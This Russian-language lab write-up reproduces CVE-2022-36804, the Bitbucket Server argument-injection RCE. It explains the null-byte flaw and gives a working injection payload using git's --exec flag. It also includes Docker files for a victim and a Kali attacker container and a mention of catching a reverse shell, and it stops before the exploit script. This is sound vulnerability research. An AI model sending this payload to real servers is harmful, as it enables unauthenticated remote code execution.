Воспроизведение полной цепочки эксплуатации CVE-2022-36804 (Bitbucket RCE). Включает Docker-лабораторию, мониторинг pspy64 для проверки инъекции нулевого байта и собственный эксплойт-скрипт на Bash. Основано на исследовании Assetnote.
CVE-2022-36804 — это уязвимость уровня высокий/критический, связанная с внедрением аргументов в REST API Atlassian Bitbucket Server и Data Center.
Хотя официальная базовая оценка NVD (National Vulnerability Database) составляет 8.8 (High) исходя из предположения о необходимости прав на чтение (PR:L), в этом анализе уязвимость рассматривается как 9.8 (Critical) (PR:N). Если в целевом репозитории включён публичный доступ — частая конфигурация — вектор эксплуатации становится полностью пред-аутентификационным (без аутентификации).
Этот репозиторий документирует полную лабораторную репродукцию цепочки эксплуатации, основанную непосредственно на техническом исследовании, опубликованном Assetnote.
В анализе подробно описывается переход от оркестрации окружения и обхода фильтров безопасности к получению интерактивного reverse shell. Как указано в первоначальном исследовании, эта ошибка позволяет выполнять удалённое выполнение команд (RCE), которое может быть использовано без аутентификации, если в целевом репозитории включён публичный доступ.
Уязвимость коренится в «рассогласовании очистки» (Sanitization Impedance Mismatch) между средой выполнения Java-приложения и операционной системой Linux.
Как отмечено в исследовании Assetnote, Bitbucket использует библиотеку NuProcess для формирования и выполнения Git-команд. Когда пользователь передаёт параметр prefix в конечную точку /archive, Bitbucket не удаляет нулевые символы (%00) перед передачей списка аргументов в ОС.
execve() обрабатывает команду, оно обрезает строку на %00. Из-за того, как NuProcess передаёт данные, ОС рассматривает всё, что следует за null-байтом, как совершенно новый аргумент командной строки.Внедряя --exec=..., атакующий выходит за пределы предполагаемого флага --prefix и заставляет процесс git archive выполнить произвольный бинарный файл, что приводит к удалённому выполнению команд (RCE).
Чтобы понять, как эксплойт переходит от простого параметра URL к команде уровня ОС, необходимо разобрать структуру полезной нагрузки и проследить «сдвиг массива».
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Компонент | Назначение | Техническая роль |
|---|---|---|
prefix=x | Обязательное условие | git archive требует префикс; x выступает в роли заполнителя. |
%00 | Нож | Null-байт. Java пропускает его, но ядро Linux (на C) завершает здесь строку. |
--exec=... | Триггер RCE | Опасный флаг. Использует встроенную функцию Git для выполнения внешних программ. |
touch ... | Действие | Команда, которую нужно выполнить. Безопасный PoC для проверки RCE. |
--remote=... | Мусорная корзина | Поглощает идентификатор коммита (добавляемый Bitbucket) как допустимый аргумент, обеспечивая чистое выполнение команды без синтаксических ошибок. |
Это иллюстрирует суть уязвимости: как данные (префикс каталога) превращаются в инструкцию (флаг команды).
Контекст выполнения Java (исходное состояние):
Java видит одну длинную строку как третий аргумент.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Выполнение ядром Linux (эксплуатируемое состояние):
Системный вызов execve() ядра разбивает строку по каждому null-байту (\0), смещая внедрённые флаги в их собственные позиции в массиве аргументов процесса.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
Для имитации реалистичной поверхности атаки лабораторная среда использует двухконтейнерную архитектуру, изолированную в мостовой сети Docker (hacking_net). Такая настройка гарантирует, что эксплуатация и мониторинг выполняются в контролируемой среде, не затрагивая хост-систему.
Узел-жертва: работает под управлением Atlassian Bitbucket Server версии 7.17.1. Контейнер намеренно назван bitbucket-victim. Это отражает важное проектное уточнение, сделанное для обеспечения соответствия требованиям Apache Tomcat по RFC 7230. Использование дефиса вместо подчёркивания позволяет среде избежать ошибок 400 «Invalid Character», возникающих во время выполнения полезной нагрузки, — ключевое техническое препятствие, обнаруженное и устранённое в ходе исследования.
Узел атакующего: специально подготовленный образ Kali Linux rolling. В отличие от стандартного образа, этот узел заранее укомплектован конкретным набором инструментов, необходимым для данной цепочки эксплойта: git для работы с репозиторием, curl для доставки полезной нагрузки и netcat-traditional для перехвата reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
Если вы уже развернули среду с помощью docker-compose.yml, приведённого выше, вы можете использовать включённый скрипт exploit.sh, чтобы проверить уязвимость и получить reverse shell за считанные секунды.
1. Подготовьте слушатель